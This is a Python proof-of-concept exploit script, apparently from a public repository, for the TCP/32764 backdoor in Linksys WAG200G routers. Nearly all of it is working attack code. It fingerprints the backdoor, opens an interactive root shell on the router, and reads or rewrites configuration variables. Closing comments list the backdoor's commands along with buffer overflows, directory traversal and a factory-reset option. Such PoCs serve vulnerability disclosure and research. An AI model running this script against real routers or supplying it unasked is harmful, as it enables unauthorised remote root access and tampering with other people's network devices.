tcp32764.py

#!/usr/bin/env python
# via https://github.com/elvanderb/TCP-32764
# elvanderb / TCP-32764
# backdoor listening on TCP-32764 in linksys WAG200G.
import socket
import struct
import sys
import argparse

parser = argparse.ArgumentParser(description='PoC for the TCP/32764 backdoor.\n'\
        'see https://github.com/elvanderb/TCP-32764 for more details')

parser.add_argument('--ip', type=str, nargs='?', help='routers IP', default='192.168.1.1')
parser.add_argument('--port', type=int, nargs='?', help='port to use', default=32764)
command_group = parser.add_mutually_exclusive_group()
command_group.add_argument('--is_vuln', help='tells you if the router is vulnerable or not (default)', action="store_true")
command_group.add_argument('--shell', help='gives you a root shell on the router', action="store_true")
command_group.add_argument('--print_conf', help='pretty print router\'s configuration', action="store_true")
command_group.add_argument('--get_var', type=str, nargs='?', metavar='var_name', help='get router\'s configuration variable')
command_group.add_argument('--set_var', type=str, nargs='?', metavar='var_name=val', help='set router\'s configuration variable')
command_group.add_argument('--message', type=int, nargs='?', help='message to send', choices=range(1, 14))
parser.add_argument('--payload', type=str, nargs='?', help='message\'s payload', default='')
parser.add_argument('--timeout', type=int, nargs='?', help='connexion timeout in seconds', default=1)

args = parser.parse_args()

def send_message(s, endianness, message, payload=''):
        header = struct.pack(endianness + 'III', 0x53634D4D, message, len(payload)+1)
        s.send(header+payload+"\x00")
        r = s.recv(0xC)

        while len(r) < 0xC:
                tmp = s.recv(0xC - len(r))
                assert len(tmp) != 0
                r += tmp

        sig, ret_val, ret_len = struct.unpack(endianness + 'III', r)
        assert(sig == 0x53634D4D)

        if ret_val != 0:
                return ret_val, "ERROR"

        ret_str = ""
        while len(ret_str) < ret_len:
                tmp = s.recv(ret_len - len(ret_str))
                assert len(tmp) != 0
                ret_str += tmp

        return ret_val, ret_str

# Big endian or little endian ?
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(args.timeout)
try :
        s.connect((args.ip, args.port))
except socket.error as v:
        print("probably not vulnerable (error: {0:s})".format(v))
        sys.exit(0)

s.send("blablablabla")
r = s.recv(0xC)
while len(r) < 0xC:
        tmp = s.recv(0xC - len(r))
        assert len(tmp) != 0
        r += tmp

sig, ret_val, ret_len = struct.unpack('<III', r)
if sig == 0x53634D4D :
        endianness = "<"
elif sig == 0x4D4D6353 :
        endianness = ">"
else :
        print("probably not vulnerable")
        sys.exit(0)
s.close()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(args.timeout)
s.connect((args.ip, args.port))
if args.is_vuln :
        print("{0:s}:{1:d} is vulnerable!".format(args.ip, args.port))
elif args.shell :
        print(send_message(s, endianness, 7, 'echo "welcome, here is a root shell, have fun"')[1])
        while 1 :
                print(send_message(s, endianness, 7, sys.stdin.readline().strip('\n'))[1])
elif args.print_conf :
        conf = send_message(s, endianness, 1)[1]
        conf = conf.replace("\x00", "\n")
        conf = conf.replace("\x01", "\n\t")
        print(conf)
elif args.get_var is not None :
        response = send_message(s, endianness, 2, args.get_var)[1].rstrip("\x00")
        if len(response) == 0 :
                print("{0:s} is not set".format(args.get_var))
        else :
                print(response)
elif args.set_var is not None :
        r, _ = send_message(s, endianness, 3, args.set_var)
elif args.message is not None :
        r, response = send_message(s, endianness, args.message, args.payload)
        if r != 0 :
                print("Command failed, error code: {0:08X}".format(r))
        elif len(response) != 0 :
                print("Command succeed:")
                print(response.encode("string_escape"))
        else :
                print("Command succeed:")
else :
        print("{0:s}:{1:d} is vulnerable!".format(args.ip, args.port))

s.close()

#commands :
# 1 : get infos
# 2 : get var -> possible overflow
# 3 : set var -> buffer overflow
# 4 : commit nvram (read nvram /dev/mtdblock/3 from /tmp/nvram and check CRC)
# 5 : bridge mode ?
#        wan_mode=bridgedonly
#        wan_encap=0
#        wan_vpi=8
#        wan_vci=81
#        /usr/bin/killall br2684ctl
#        /usr/bin/killall udhcpd
#        /usr/bin/killall -9 atm_monitor
#        /usr/sbin/rc wan stop >/dev/null 2>&1
#        /usr/sbin/atm_monitor&
# 6 : show speed
# 7 : cmd
#        special commands :
#                exit, bye, quit -> quit... (set alive to 0)
#                cd : change directory (a little bit WTF)
# other commands :
#                integer overflow in stdout handling (?) not exploitable but still ...
#                buffer overflow (buffer de 0x10000)
#
# 8 : write file (file name in payload, dir : tmp, directory traversa)
# 9 : print version
#10 : print modem router ip (nvram_get(lan_ipaddr))
#11 : resaure default settings (nvram_set(restore_default, 1) / nvram_commit)
#12 : read /dev/mtdblock/0 [-4:-2]
#13 : dump nvram on disk (/tmp/nvram) and commit